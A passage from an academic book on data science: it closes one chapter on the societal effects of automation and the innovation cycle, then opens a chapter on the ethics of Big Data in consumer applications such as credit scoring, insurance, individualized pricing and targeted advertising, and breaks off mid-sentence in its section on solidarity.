will transform homo sapiens into a new species. Just as homo sapiens surpassed and
replaced Neanderthals, so will humans augmented with machines surpass homo
sapiens without automation. Could you compete or survive without automation?
This is well beyond considering the impacts of data science. Or is it? In 2018 there
were multiple attacks on the very foundations of democracy (see above). At the TED
2018 conference, Jaron Lanier, virtual reality creator, suggested that, using data,
social networks had become behavior modification networks. Harari speculated that
just as corporations use data now, so too could dictatorships use data to control
populations.

Technological progress is never solely positive, for example, automation that
eliminates waste due to optimized supply chains. Progress is relative to our expec-
tations, for example, computers will eliminate most human drivers thereby reducing
road accidents by 95%. In this case, the cost of saving lives is a loss of jobs. The
greatest impacts of technology are seldom foreseen, for example, the redistribution
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of populations from cities to suburbs due to the mobility offered by automobiles.
What might be the impact of a machine beating humans playing Jeopardy?

The Future of Life Institute16 was established “To catalyze and support research
and initiatives for safeguarding life and developing optimistic visions of the future,
including positive ways for humanity to steer its own course considering new
technologies and challenges.” Its motto is: “Technology is giving life the potential
to flourish like never before . . . or to self-destruct. Let’s make a difference.”

7 Conclusions

Data science is potentially one of the most significant new disciplines of the twenty-
first century, yet it is just emerging, poses substantial challenges, and will take a
decade to mature. The potential benefits and risks warrant developing data science as
a discipline and as a method for accelerated discovery in any domain for which
adequate data is available. That development should be grounded in reality follow-
ing the proverb: Necessity is the mother of invention. This chapter proposes a long-
standing, proven development model.

Innovation in computing technology has flourished through three successive
versions of the virtuous cycle. The twentieth century virtuous cycle was hardware
innovation and software innovation in a cycle. The twentieth century Virtuous R&D
Cycle was research innovation and engineering innovation in a cycle. The emerging
Twenty-First Century Virtuous RD&D Cycle is research innovation, engineering
innovation, and product innovation in a cycle. While innovation perpetuates the
cycle, it is not the goal. Innovation is constantly and falsely heralded as the objective
of modern research. Of far greater value are the solutions. Craig Vintner—a leading
innovator in genetics—said, “Good ideas are a dime a dozen. What makes the
difference is the execution of the idea.” The ultimate goal is successful, efficient
solutions that fully address PIA problems or major challenges, or that realize
significant, beneficial opportunities. Data science does not provide such results.
Data science accelerates the discovery of probabilistic results within certain error
bounds. It usually does not produce definitive results. Having rapidly reduced a vast
search space, to a smaller number of likely results, non-data science methods,
typically conventional methods in the domain of interest, are used to produce the
definitive results. Once definitive results are achieved, the data science analysis can
be converted to a product, for example, a report, inventory replenishment, etc.;
however, the results of such a product must be monitored as conditions and data
can change constantly. For more on this see Meierhofer et al. (2019).

The principles and objectives of the Twenty-First Century Virtuous RD&D
Cycle are being applied in many domains beyond computer science, startups,
education, and data science. In medicine it is called translational medicine
(STM 2018) in which healthcare innovation and challenges go across the

16https://futureoflife.org
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benchside/research-bedside-community17 cycle, delivering medical innovations to
patients and communities more rapidly than conventional medical practice and
taking experience and issues back for research and refinement. The US National
Institutes of Health (NIH) established The National Center for Advancing Transla-
tional Sciences in 2012 for this purpose and is increasingly requiring its practice in
NIH-funded research programs. In the broader scientific community, such activities
are called translational science and translational research, for example (AJTR 2018;
Fang and Casadevall 2010). The RD&D cycle is now incorporated in all natural
science and engineering research funded in Canada.18

Data science researchers and DSRI leaders might consider the Twenty-First
Century Virtuous RD&D Cycle to develop and contribute to data science theory,
practice, and education.
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Chapter 10
The Ethics of Big Data Applications
in the Consumer Sector

Markus Christen, Helene Blumer, Christian Hauser,
and Markus Huppenbauer

Abstract Business applications relying on processing of large amounts of hetero-
geneous data (Big Data) are considered to be key drivers of innovation in the digital
economy. However, these applications also pose ethical issues that may undermine
the credibility of data-driven businesses. In our contribution, we discuss ethical
problems that are associated with Big Data such as: How are core values like
autonomy, privacy, and solidarity affected in a Big Data world? Are some data a
public good? Or: Are we obliged to divulge personal data to a certain degree in order
to make the society more secure or more efficient? We answer those questions by
first outlining the ethical topics that are discussed in the scientific literature and the
lay media using a bibliometric approach. Second, referring to the results of expert
interviews and workshops with practitioners, we identify core norms and values
affected by Big Data applications—autonomy, equality, fairness, freedom, privacy,
property-rights, solidarity, and transparency—and outline how they are exemplified
in examples of Big Data consumer applications, for example, in terms of informa-
tional self-determination, non-discrimination, or free opinion formation. Based on
use cases such as personalized advertising, individual pricing, or credit risk man-
agement we discuss the process of balancing such values in order to identify
legitimate, questionable, and unacceptable Big Data applications from an ethics
point of view. We close with recommendations on how practitioners working in
applied data science can deal with ethical issues of Big Data.
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1 Introduction

Terms like “Big Data,” “digitalization,” or “Industry 4.0” have become keywords for
indicating the radical changes implied by the pervasive use of digital technology.
Big Data basically stands for the fact that today we are not only able to create, record,
store, and analyze large amounts of heterogeneous data but that data about almost
any fact in the world is available for such purposes as a commodity (Mayer-
Schönberger and Cukier 2013). Computers, smartphones, and wearables, as well
as the emerging “Internet of things” routinely generate digital data about where we
are, what we do, and with whom we communicate. Actually, it is an inherent
property of digital technology to generate data in order to function properly. For
example, a telecommunication provider needs to “know” the geographic location of
a smartphone for providing even its most basic functions (communication). The use
of this technology generates data on processes that were mostly obscure in the “pre-
digital age”—for example, if one compares rummaging in an old-fashioned book-
store with searching for books on Amazon, where each click leaves a digital trace.
But digitalization not only makes it easier to create data, it also has become
increasingly cheaper and convenient to store and analyze it. Production and con-
sumption processes thus become ascertainable in a way that was almost unthinkable
a few decades ago.

Such radical changes spark both hopes and fears. Some believe that Big Data will
be the “oil of the twenty-first century,”1 that is, an enormous resource for innovation,
progress, and wealth. Others consider Big Data to be a fundamental threat for
freedom and privacy—a demonic instrument of an Orwellian surveillance state
(Helbing et al. 2015). Both scenarios are probably overstated, but they point to
difficult ethical problems that are associated with Big Data: How are core values like
autonomy, privacy, and solidarity affected in a Big Data world? Are some data a
public good? Are we obliged to divulge personal data to a certain degree in order to
make society more secure or more efficient?

In this chapter, we will discuss these questions from the perspective of Data
Science applications in the consumer sector. This concerns, for example, personal-
ized advertising, tailored product offers, or individualized pricing. What are the
ethical questions raised by such applications? Which values have to be weighed
against each other in such cases? What are realistic chances and risks of Big Data for
consumers? The answers to these questions given in this chapter rely on a study
executed by the authors for the Swiss Academy of Engineering Sciences (Hauser
et al. 2017). In the following Sect. 2, we provide some background information on
ethical thinking in the field of Big Data and on methodological aspects. In Sect. 3, we
outline the results of a bibliometric study and we describe five use cases of Big Data
applications. In Sect. 4, we will evaluate those case studies from an ethical

1The notion of “data as the oil of the twenty-first century” first appeared in 2006 and has become a
widespread quote for outlining the economic potential of Big Data; see https://www.quora.com/
Who-should-get-credit-for-the-quote-data-is-the-new-oil (last accessed August 10, 2016).
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perspective. This analysis will result in some “lessons learned” in Sect. 5, that is, in
suggestions how practitioners working in applied data science can deal with ethical
issues raised by Big Data. We close by conclusions regarding the possible role of the
state in empowering companies and customers for dealing with the ethics of
Big Data.

2 Background Information

2.1 Big Data Ethics

The ethical debate concerning Big Data is embedded in a broader discourse on the
ethics of data protection that has been developed over several decades (Davis and
Patterson 2012). As our bibliometric study indicates (Sect. 3.1), terminologies
related to privacy and surveillance still dominate the ethics discourse with respect
to Big Data. Certainly, depending on the domain of application, other values will be
of importance as well. For example, in the insurance sector, we can expect that the
value of solidarity will be of particular importance, since some Big Data applications
in this industry may involve a significant potential for unjustified discrimination, and
this could lead to a destruction of common grounds for society. Another relevant
value affected by Big Data is fairness, as the current ecosystem around Big Data may
create a new kind of digital divide: The Big Data rich and the Big Data poor—and,
for example, large insurance companies may be representatives of former, putting
them into a position to have privileged access to knowledge on societal processes
(Boyd and Crawford 2012).

The large majority of papers published so far on the ethical debate on Big Data
concern either the health sector or research ethics in the context of Big Data
(to illustrate: 13 out of the 20 most cited papers in Scopus searched with the
keywords “big data” and “ethic*” refer to healthcare issues; search dated 2016).
This indicates a need for further developing the ethical discourse with respect to Big
Data in other fields—including consumer applications.

Within the ethical discourse, some authors suggest to consider the fundamental
societal changes implied by Big Data: A profound effect of the digitalization of
information is that the boundaries around which human beings conceptualize and
organize their social, institutional, legal, and moral world are compromised or
relativized (van den Hoven et al. 2012). The traditional offline distinctions and
demarcations of separate social spheres (family, work, politics, education,
healthcare, etc.) are threatened by the enhanced reproducibility and transmissibility
of digitalized data and the use of multidimensional Big Data analytics. Thus, a first
line or research with respect to Big Data ethics concerns contextual integrity of social
spheres as proposed by Helen Nissenbaum (2004), whereas spheres are defined
through the expectations and behaviors of actors.

In this framework, what is often seen as a violation of privacy is oftentimes more
adequately construed as the morally inappropriate transfer of personal data across the
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boundaries of what we intuitively think of as separate “spheres of justice” or
“spheres of access” (van den Hoven 1999). This complex moral reason also accounts
for the moral wrongness of discrimination. Discrimination of a person P in a
particular context implies the use of information about P to her disadvantage while
the information is morally irrelevant to that context (e.g., using the information about
the gender of a person for determining his or her salary). The art of separation of
spheres (or contexts of use) and the blocked exchanges would prevent discrimina-
tion. It secures that information is used in contexts where it is relevant and morally
appropriate (van den Hoven et al. 2012).

We argue that spheres also differ with respect to the emphasis of certain values.
For example, equality (the right of different groups of people to receive the same
treatment with respect to the same interests irrespective of their social position) plays
a particularly important role in the health sphere, fairness (treatment in accordance
with accepted rules or procedures of justice) is an overarching value in the business
domain and freedom (the power or right to act, speak, or think as one wants) is a
guiding value in the political sphere. Related to this, Alan Fiske’s “social relational
theory” proposes that there are various but universal types of social interactions or
relationships, each of them describing qualitatively distinct structures with their own
norms and rules of interactions (Fiske and Tetlock 1997). Within each type, people
can usually make trade-offs without great difficulty, but between the domains,
comparisons and, for example, applying market-price rules are problematic. We
propose that a deeper understanding of the ethical issues raised by Big Data requires
an analysis of which values are affected by Big Data applications and how the
understanding and weight of these values depends on different social spheres or
types of social relationships (Lane et al. 2014). Some of these values may have the
status of “protected values” (Tanner and Medin 2004) for the involved persons,
which further complicates the picture. Previous studies have shown that when people
expect protected values to be under threat, they are likely to trigger reactions of
outrage and objection to alleged violations (Tetlock et al. 2000).

A second line of research relevant for Big Data ethics concerns the question how
ethics can be integrated into the design process of information technology. Creating
Big Data applications is an issue of data product design—and making such a process
compliant with ethical requirements puts engineers and managers in the focus. A
frame of reference is the methodology of value sensitive design (VSD) that has been
put forward by Batya Friedman et al. (2006). In her words, employing value-
sensitive design means to account “[. . .] for human values in a principled and
comprehensive manner throughout the design process.” Through a combination of
conceptual, empirical, and technical investigations, one investigates how people are
affected through the technology to be designed. Case studies demonstrating how this
idea can be implemented in practice can be found in Friedman et al. (2006).

Today, a number of researchers have used the methodology of VSD and it also
found its way into textbooks used in engineering education (Van de Poel and
Royakkers 2011). Through a combination of conceptual, empirical, and technical
investigations, VSD investigates how direct and indirect stakeholders are affected
through the technology to be designed. VSD means choosing, among available

164 M. Christen et al.



technological solutions, those meeting normative requirements and desiderata. “Nor-
mative requirements” is a broader concept than requirements sanctioned by law.
When a software architecture is designed, there is normally more than one way for
the software to solve the problems that it is intended to solve; in making specific
engineering choices at different levels of software design, developers implicitly or
explicitly express their commitment to grounding principle and values, thereby
attributing (a different) importance to them. In this approach, it is assumed that
maximizing user satisfaction is not the only goal of good software design, because
user satisfaction should not be achieved by sacrificing more important normative
constraints.

2.2 Methodology of the Study

The study on which this chapter relies was based on a qualitative and quantitative
literature analysis, on expert interviews, and on two workshops with practitioners
(company representatives as well as data protection officers).

The literature analysis was performed in two scientific databases (Web of Science
and Scopus)2 as well as in the media database Factiva3; the timeframe was restricted
to 2006–2015. The papers identified in this way served for a differentiation of the
various thematic strains discussed in Big Data. Based on these papers, we identified
keywords for characterizing Big Data publications that discuss ethical aspects along
six categories: privacy, security, surveillance, harm, self-related topics, and ethics in
general.4 We also analyzed the disciplinary diversity of highly cited Big Data papers
(those who received at least more than 10 citations until March 2016) by referring to
the subject categories of the WoS papers (those categories refer to the discipline(s) to
which the journal, in which a paper has been published, is attributed).

2Web of Science (WoS): https://apps.webofknowledge.com; Scopus: http://www.scopus.com. The
search term was in both databases “big data” (WoS: search under “topics”; Scopus: search in the
category “title, abstract, keywords”).
3This database is hosted by Bloomberg and includes contributions from the most important
international print media (such as New York Times, etc.), and contributions from a multitude of
information sources mostly from the business domain; see: https://global.factiva.com. The search
term was “big data” as well.
4Each ethics category was characterized by a set of 2–5 keywords as follows; the specificity of each
keyword was checked individually: Privacy (privacy OR anonym*), security (security OR protec-
tion), surveillance (surveillance OR profiling), harm (discrimination OR harm), self-related (iden-
tity OR reputation OR ownership) ethics in general (ethic* OR moral OR fairness OR justice OR
autonomy). For the quantitative analysis, these keyword sets were combined with “big data” using
the Boolean operator AND. Those keywords had to be present either in the title, the abstract, or the
keywords of the scientific papers. Those categories do not match the eight values identified further
below in the paper, because some of them such as contextual integrity are hard to quantify using a
bibliometric approach.
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In the two workshops, 22 experts from Swiss institutions and companies were
present in total. In the workshops, current and likely future Big Data applications
were identified and discussed with respect to the associated ethical questions. The
experts emerged from the following industries: banking, consultancy, insurances,
marketing, retail business, soft- and hardware producers, telecommunication, and
transport. In addition, cantonal (state-level) and federal data protection officers and
scientists active in the field complemented the workshop participants. The experts
identified five paradigmatic use cases that are discussed in Sect. 3:

– Prevent debt loss
– Improve risk management
– Tailor offer conditions
– Increase the efficiency of advertising
– Create business innovations

They also pointed to eight groups of ethical values that are affected by Big Data
applications:

– Privacy protection
– Equality and non-discrimination
– Informational self-determination
– Controlling the own identity
– Transparency
– Solidarity
– Contextual integrity
– Property and copyright

Those eight value groups will serve as a framework for the ethical assessment in
Sect. 4.

3 Big Data in the Scientific Literature and in Business

3.1 Bibliometric Study

The bibliometric analysis serves to provide a first overview on the topic of Big Data
by showing the frequency of published papers that contain the keyword “big data”,
the relative weight of the six ethics categories used in the bibliometric study, and the
disciplinary spectrum of highly cited papers. The original study has been performed
in March 2016 but has been updated in February 2018, leading to some changes as
discussed in the text. Figure 10.1 shows the frequency of Big Data articles both in the
scientific literature as well as in the media, that is, the number of papers published in
a single year compared to all papers found in the reference timeframe. It is striking
that almost no paper has been published before 2011—the first paper that uses the
term “big data” in the current understanding was published in 1998. Since 2011, an
enormous growth in the literature can be observed, whereas the growth rate was
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higher in the general media compared to the scientific literature: in Factiva, the trend
seems to weaken to some degree, but in the scientific literature, more than half
(58.1% WoS and 55.4% Scopus) of the papers have been published in the last
2 years. The diminishment in the last year is mainly an effect of database curation, as
both databases do not yet contain all papers published in 2017 at the time of updating
(February 21, 2018).5

The enormous dynamics in the field is also discernible when looking at the
number of highly cited papers (>10 citations per paper): In 2016, we identified
164 highly cited papers (2.60% of all papers identified), in 2018, 1333 papers
(5.79%) fulfilled this criterion.

We remind that this search only focuses on the use of the term “big data” in the
literature, not on more generic topics within computer science that are today
attributed to the field of Big Data (such as data mining or data visualization
techniques). Thus, the data does not allow to make inferences on how those scientific
fields have developed over time.

Figure 10.2 shows the relative weight of Big Data papers that contain keywords
of one of the six ethical categories (see Footnote 4). An interesting observation is that
in the lay media (Factiva), papers referring to security and “self” (reputation and
ownership issues) have a much higher weight compared to the two scientific

Fig. 10.1 Per-year-fraction of Big Data papers published between 2006 and 2017 in each database;
the data of 2017 are incomplete, that is, the diminishment in this year is likely an artefact

5Database curation also affects the comparison of the results from 2016 with those from 2018: We
found that the number of entries already in the year 2015 more than doubled in WoS, but was
comparable for the earlier years.
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databases, where the “classic” topics of computer ethics, namely, privacy and
surveillance, are more relevant. This pattern did not change in the 2018 update.

Finally, Fig. 10.3 outlines the disciplinary profile of the highly cited papers (1333
papers) and compares it with the profile of the papers citing them. This analysis gives
an estimation on the “knowledge flow,” that is, which disciplines tend to cite papers
more (or less) often. Here, interesting differences between the 2016 and 2018 data is
discernible. In 2016, in particular humanities and social sciences (the fraction
increased from 6.6% to 13.2%), life sciences (increase from 12.2% to 16.5%) cite
Big Data papers more often, indicating that the debate is more pronounced in these
disciplines. In the 2018 data, such a difference when comparing publications and

Fig. 10.2 Fraction of papers referring to one of the six ethics categories published between 2006
and 2017 in each database

Fig. 10.3 Disciplinary profile of highly cited Big Data papers compared to the papers that cite
them; 2018 data
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citations is not discernible any more. Humanities and social sciences, for example,
now account for 10.0% of all publications compared to 6.6% in 2016. Both in the
2016 and 2018 data, a decrease in the domain “economy/management” is visible
(from 6.9% to 4.4% in 2016 and from 6.2% to 4.8% in 2018), which could indicate a
less-developed discussion of Big Data in this domain compared to other disciplines.

In summary, the bibliometric analysis shows that the topic “Big Data” is very
young and displays indications of a “hype.” Furthermore, there are different weights
with respect to the ethical debate when comparing the scientific literature with the lay
media. Finally, there are indications that Big Data is particularly discussed in the life
sciences, humanities, and social sciences.

3.2 Use Cases

In the following, we briefly describe five use cases for outlining Big Data applica-
tions in the consumer sector. In Sect. 4, we discuss ethical issues of Big Data based
on these cases.

Case 1: Prevent Debt Loss Big Data allows new ways for companies to assess the
payment moral of their customers based on the customers’ digital behavior. Tradi-
tionally, companies relied on registries such as the Swiss “Zentralstelle für
Kreditinformation” or the German “Schutzgemeinschaft für allgemeine
Kreditsicherung” for credit rating. As an alternative, social scoring based on Big
Data is increasingly used. For this, algorithms analyze entries and behavior of
customers on social networks (friends, likes, leisure activities) as well as information
that—on the first sight—seems to be unrelated to credit rating such as search
behavior, fonts used when writing, speed of filling out forms, or technical data of
the computer used when surfing the Internet. Social scoring is quite common in
online shopping, for example, for determining whether a customer is allowed to pay
the bill using an invoice. Also in banking, social scoring gains importance. For
example, some banks provide credit under the condition that the customer down-
loads an App that collects personal information of various kinds (geographic loca-
tion, duration of phone calls, address book information, etc.)—the more data the
customer reveals, the higher are the chances for getting a credit (an example of such a
social scoring system for improving the access to credits is provided by the
Australian loans and deposits application platform Lodex; Graham 2017).

Case 2: Improve Risk Management For many industries such as insurances, risk
management is key for business success. Big Data provides the opportunity to better
evaluate risks, for example, the probability and magnitude of damages. In particular,
risks can be assessed more individually. An example is the use of telematics
solutions in car insurances. Information on how the customer is driving (speed,
acceleration, braking behavior, duration of driving, distances, etc.) allows to calcu-
late the probability of an accident or of car theft, leading to “pay as you drive”
models. Wearables such as smartwatches or fitness trackers provide information that
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is relevant for health insurances. For example, unhealthy behavior of customers can
be tracked more easily, allowing for prevention to decrease the insurance rate. Also,
the genetic information of people can be more easily determined and shared using
online services. Big Data also allows for better identification of fraud by customers
using profiling and predictive modelling.

Case 3: Tailor Offer Conditions Traditionally, companies calculate prices for
large customer groups based on costs, prices of competitors, and aggregated cus-
tomer behavior. Big Data now allows in principle to determine the individual “best
price” for each customer. The first step for this is dynamic pricing, which has
become a standard in several industries. Airlines, e-businesses, or gas station pro-
viders use algorithms to dynamically change prices based on various types of
information (demand, availability, weather, time in the day, behavior of competi-
tors). Individualized prices are the next step, allowing to best skim the consumer
surplus. For this, not only environmental factors used in dynamic pricing but also
information on the individual customer is used (e.g., gender, age, geographic origin,
friends, personal preferences) based on cookies, customer cards, smartphone ID,
GPS position, IP address or other technical means. For example, an online tour
operator displayed higher prices to Apple users, because they tend to be less price-
sensitive when booking (Mattioli 2012). An online shop gave away discount tickets
based on the individual shopping behavior of the customer for nudging the customer
to products with higher prices (Metzler 2016).

Case 4: Increase the Efficiency of Advertising Advertising is effective when it
reaches the customer who is potentially interested in the product—but traditional
advertising campaigns mostly work based on the “shotgun approach” (e.g., billboard
advertising). The accuracy of such campaigns is increased using Big Data, based on
search history, social network data, GPS data, etc., of customers. A common
technique is re-targeting: a customer that searched for a specific product finds
advertising of this product later on many other sites he/she is visiting.
Pre-targeting aims to show potential products to the customer based on his/her
online behavior. Geo-targeting aims to show advertising related to the geographic
localization of the customer (e.g., a nearby restaurant). Future applications that are
currently investigated experimentally in computer games include emotional
targeting: based on visual (face expression) and auditory information (voice recog-
nition), the emotional state of the customer is assessed in order to display advertising
adapted to his/her emotional state.

Case 5: Create Business Innovations Big Data is also used for generating new
revenue sources or enlarging the product or service portfolio of a company. For
example, companies could sell the information of their customers to other compa-
nies, which includes the possibility to supplement existing products (e.g., sports-
wear) with sensors (wearables) that generate this data. Telematics systems in cars
can be used to better identify bugs in new models or provide new maintenance
services. Data emerging from social networks, etc., can be used to identify trends and
adapt product developments to such trends (e.g., in car manufacturing or streaming
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services that develop own TV shows). Data generated from voice recognition
software can be used to increase voice control technology or related services such
as translation. Big Data also allows for innovations in infrastructure or traffic
planning. For example, traffic jams could be prevented by such systems.

4 Ethical Evaluation

In the context of economy, ethics is usually construed to be an antagonist of business
in the sense that ethics defines which business activities are legitimate and which are
not. Although this is one of the functions of ethics, such a perspective is missing the
following aspects:

1. Market economy itself has a moral foundation by assuming that a regulated
market economy with informed actors serves to pursue ethical goals such as
individual freedom and public welfare.

2. Ethical values and norms are usually abstract and need to be applied to concrete
problems, which is in most cases not a straightforward process.

3. The claims associated with ethical values and norms can be in conflict to each
other, which requires some degree of balancing.

The following analysis structured along eight ethical values is based on these
preconditions.

4.1 Protection of Privacy

Article 12 of the Universal Declaration of Human Rights6 declares that “no one shall
be subjected to arbitrary interference with his privacy, family, home or correspon-
dence, nor to attacks upon his honor and reputation. Everyone has the right to the
protection of the law against such interference or attacks.” The goal of this norm is to
protect spheres of life of the individual where he/she can move, develop, and behave
freely. In the current Swiss data protection law7 (which is currently under revision),
this value of privacy is protected by the two principles of “purpose limitation”
(“Zweckbindung”) and “data minimization” (“Datensparsamkeit”): data should be
collected only for specific purposes and only as much as is needed for this purpose.
All five use cases above involve the potential to infringe these principles. For
example, smartphone apps may violate these principles by collecting data that is

6Available at: http://www.un.org/en/universal-declaration-human-rights/ (last access: February
28, 2018).
7Available at: https://www.admin.ch/opc/de/classified-compilation/19920153/index.html (last
access: February 28, 2018).
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not necessary for their primary purpose. These risks increase when data emerging
from different sources are combined in order to gain new insights, for example, in
the case of pre-targeting (Case 4). However, the potential of Big Data lies in this
combination of various data sets. Obviously, secondary use and recombination is in
conflict with the principle of purpose limitation—and anonymization is not sufficient
given the potential of re-identification when integrating data from different sources.

However, in the case of preventing debt loss (Case 1) and increase of risk
management (Case 2), the violation of privacy has to be balanced with legitimate
claims of the companies, which have the right to know about the solvency of their
debtors and other business-relevant risks. Thus, not every violation of privacy is
equally ethically problematic—and in cases 1 and 2 one would have to look at the
individual circumstances. However, when in the case of tailoring offer conditions
(Case 3) data of very different type are integrated (financial transactions, credit
rating, medical treatments, social relationships, etc.), an unjustified violation of
privacy is likely. Furthermore, missing transparency, the potential of discrimination
and the violation of contextual integrity of the data are additional risks that often go
hand in hand with such applications; they are discussed below.

Increasing the efficiency of advertising (Case 4) and creating business innova-
tions (Case 5) are legitimate goals of companies. In those cases, one has to balance
the gains for the customers (e.g., not being disturbed by advertising that is not
interesting at all for the customer) with the drawbacks (e.g., surveillance by the
company). From an ethical perspective, violation of the privacy of the customer
seems to be justified, if he/she is informed on the magnitude of data collection, if
he/she has consented to data collection, and if there is a realistic alternative when not
consenting. The problem that the general terms and conditions of companies are
often hard to understand is discussed further below in Sect. 4.5.

4.2 Equality and Non-discrimination

Discrimination means the unequal treatment of persons that is not justified by
ethically sound reasons. Non-discrimination is founded by fairness intuitions that
are undisputed and that are mirrored by legal principles such as equality before the
law. However, non-equal treatment of people is not necessarily ethically problematic
or may even be requested (e.g., differences in wages when the work performance of
people differs). But when non-equal treatment is based on criteria (such as gender,
race, or political opinions) that are not relevant for accessing certain goods or
positions, it becomes ethically problematic discrimination.

This can happen when tailoring offer conditions (Case 3): algorithms may
classify persons based on properties they themselves can hardly influence. This
may be the reason that businesses currently tend not to use individualized pricing
directly but rely on mechanisms such as discount tickets—although this is not
fundamentally different from the former. Using Big Data for tailoring offer condi-
tions involves a systematic non-equal treatment of customers. However, it is in
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principle not ethically wrong that the willingness to pay of a customer is part of the
pricing mechanism, as long as one does not exploit a state of emergency and as long
as there is no monopoly. Economic institutions such as the bazar or auctions are
accepted mechanisms of using the willingness to pay for the pricing mechanism. The
problem of Big Data, however, is that information asymmetry is involved between
the vendor and the customer, for example, when the company has access to infor-
mation about the psychological profile of the customer based on his or her behavior
on social networks and the customer is unaware that this data (and the associated
model) is available to the vendor. This may undermine the mechanisms of efficient
allocation in markets. Of particular ethical relevance is that customers may not know
based on which mechanisms they may be treated.

Individualized prices are problematic when they are used ubiquitously within an
industry and customers have no possibility for evasion. However, this argument is
only valid when there is only one mechanism to determine the individual price. This
would require that all providers use the same algorithm and the same data—the
situation of a classic monopoly or syndicate, that is, a market without competition.

The example of social scoring (Case 1) involves both benefits and risks: On the
one hand, this mechanism offers access to credits for people who usually would
never be able to enter the classical banking system. On the other hand, those digital
credit providers require disclosing sensitive personal data that is not the case in
classical banking. Is this unjustified discrimination? Again, this example requires
balancing of the violation of privacy with the right of the company to prevent credit
losses. Ethically problematic is when the disclosed data allows for inferences for
third persons or is later used in a way that violates the contextual integrity of the data.

4.3 Informational Self-Determination

Usually, informational self-determination is defined as the right of an individual to
decide upon collecting, storing, using, and transferring of personal data. This right is
founded in the value of autonomy, that is, the ability to shape and control the
personal life. A practical expression of informational self-determination is informed
consent—a concept that originally emerges from the medical sphere. In the case of
data this means that a person should consent explicitly and in an informed way to the
use of his/her personal data.

Informational self-determination is likely to be violated when targeted advertising
aims to manipulate the person, for example, in the case of emotional targeting (Case
4). Problematic is that the persons did not explicitly consent to the use of their data
(e.g., facial expressions). Furthermore, the manipulative nature of the intervention
may undermine the process of free opinion forming. That advertising has some
manipulative character is not new and willful deception is surely wrong. But the use
of Big Data has the potential to strongly increase the efficiency of such mechanisms.
A general statement is, however, not possible and requires a case-by-case evaluation.
Another problem is that customers who insist on their right of informational self-
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determination may not be able to get certain services when denying access to
personal information or would have to pay substantially more. This may result in a
de facto discrimination that can be considered unfair.

4.4 Controlling the (Digital) Identity

Closely related to informational self-determination is the claim of being able to
control the own digital identity. Digital identities can be the result of Big Data
applications, when features of customers are aggregated and correlated. At first
glance, single data points such as how people use a keyboard or when they usually
do phone calls seem to be unrelated to, for example, the credit rating of a person.
However, when multidimensional data is aggregated and analyzed, categories can be
created in order to match the digital identity of persons with these categories—as
exemplified in Case 1. This is particularly ethically problematic, when the person
does not know that his/her data is used in this way and when the person has no
possibility to change his/her attribution to one of these categories, in particular when
the attribution is obviously mistaken or was based on a spurious correlation.

An additional problem is that such digital profiles may include outdated data—so
there is no forgetting or prescription. Data related to personal situations are context-
dependent with respect to the age of the person: youthful folly leave digital traces
that then may fall back to the adult person. Companies that use automatized
techniques of Big Data analysis without being aware of this time- and context-
dependency of personal data treat their customers unfairly, because they cannot
contribute to the interpretation of their own data.

However, the fact that digital identities are always incomplete and selective is not
per se ethically problematic, as it is in the nature of things. Persons themselves often
construe digital identities adapted to contexts (e.g., a profile on a dating network
compared to a profile on a business network), which is actually an expression of
informational self-determination, as long as there is no intention of deception.
Rather, the incomplete digital identities that companies may have from their cus-
tomers result from the principle of data minimization.

Furthermore, if people change their digital behavior in anticipating that the data
generated through this behavior helps to construct digital identities is not a new
problem. Customers, for example, may change their online behavior in order to
profit from discounts. This kind of heteronomy of the own digital identity is part of
the way people tend to interact socially in order to increase personal advantages. An
ethical problem, however, arises when no room for “non-strategic behavior” is left
due to ubiquitous commercial surveillance of the digital behavior of people.
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4.5 Transparency

Transparency in the context of business means that customers, business-partners, or
investors are informed properly of the state of a company, its business processes,
services, and products such that they can form an informed decision (e.g., whether to
invest or not). Thus, transparency is also a precondition for any informed consent for
using personal data. Without transparency, markets cannot function properly. In the
case of Big Data, transparency means that every person has the right to know which
data are collected about him/her and how they are used.

An obvious problem of transparency is that companies tend to provide extensive
and incomprehensible terms and condition forms toward their customers. Although
one can expect that customers should read these forms, the way they are presented
practically prohibits an informed decision unless one is a legal expert. Furthermore,
there is a lack of transparency which data are collected on which online platforms,
who is analyzing this data, and to whom the results of these analyses are given.
Often, app providers sell the collected data to third parties without informing their
customer properly—they probably fear that customers will not use their services any
more if they would know.

When tailoring offer conditions (Case 3), the algorithms used for generating the
prices are usually confidential. Furthermore, the data cannot be checked with respect
to their quality, reliability, and completeness. Whereas online trading made markets
more transparent, because comparing prices became easier, Big Data now under-
mines this gained transparency. Thus, tensions appear between the claims of com-
panies to protect their algorithms (i.e., the intellectual property associated with them)
and the claim of customers for transparency. In liberal societies, solving this
challenge is a task of the company primarily. Legal regulation should be considered
when they fail doing so.

Using learning systems aggravates this problem: Those algorithms may increas-
ingly be used for preventing debt losses. For example, so-called deep learning
algorithms may learn classifications of risk ratings that are even intransparent for
the software developers—they are “black boxes” (Pasquale 2015). This is a funda-
mental problem of many currently used machine-learning systems relying on neural
networks, as there are currently few underlying theories that explain how or why the
models are effective for a particular type of problem and no baseline exists to predict
their eventual performance. Machine-learning models are equations that have no
obvious underlying physical or logical basis. Reading these models provides no
insight into the underlying phenomena, where they originated, or how they will
behave in a given situation. Furthermore, a model may produce radically different
results for two scenarios that seem quite similar to humans. This poses significant
problems related to testing (and trusting) such algorithms (Informatics Europe &
EUACM 2018).

This lack in transparency endangers the value of informational self-
determination, because people may agree to reveal information that is processed in
a way that leads to a new type of classification scheme where no person reasonably
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expects that this scheme emerges. The decision to reveal this information is thus
based on the wrong assumption that one understands what one can reasonably infer
from the information one discloses. For example, people may accept to disclose their
favorite color, preferred food, and most-liked movies on a convenient website by
considering this information as unproblematic—and neither the person nor the
provider of this website initially had the idea that a complex evaluation algorithm
could infer out of this information the risk for insurance fraud. Furthermore, it could
involve legal risk with respect to the new EU data protection legislation that restricts
what the EU calls “automated individual decision-making”—the task of supervised
machine learning like deep learning neural networks (Goodman and Flaxman 2016).

4.6 Solidarity

Solidarity concerns duties of mutual support in a community. In today’s social state
models, solidarity involves financial support in case of illness or poverty, based on
the intuition that every human being could end up in a situation of need independent
of negligence. In this way, solidarity provides the moral foundation of any type of
insurance, whereas the range of solidarity is limited to some degree by the costs-by-
cause principle. Persons who intentionally cause harm to themselves are less likely
to benefit from the solidarity of others.

The challenge of Big Data is that the aggregation of multidimensional data for
increasing risk management (Case 2) could lead to an extension of the costs-by-
cause principle. A certain online behavior could be coupled to a higher risk of, for
example, liability—making this behavior object of potentially “causing” liability, as
the behavior results from a free choice. For example, playing certain video games
may be correlated with a higher incidence of being absent from work due to illness—
and the “choice” of playing these games may finally become a reason to deny
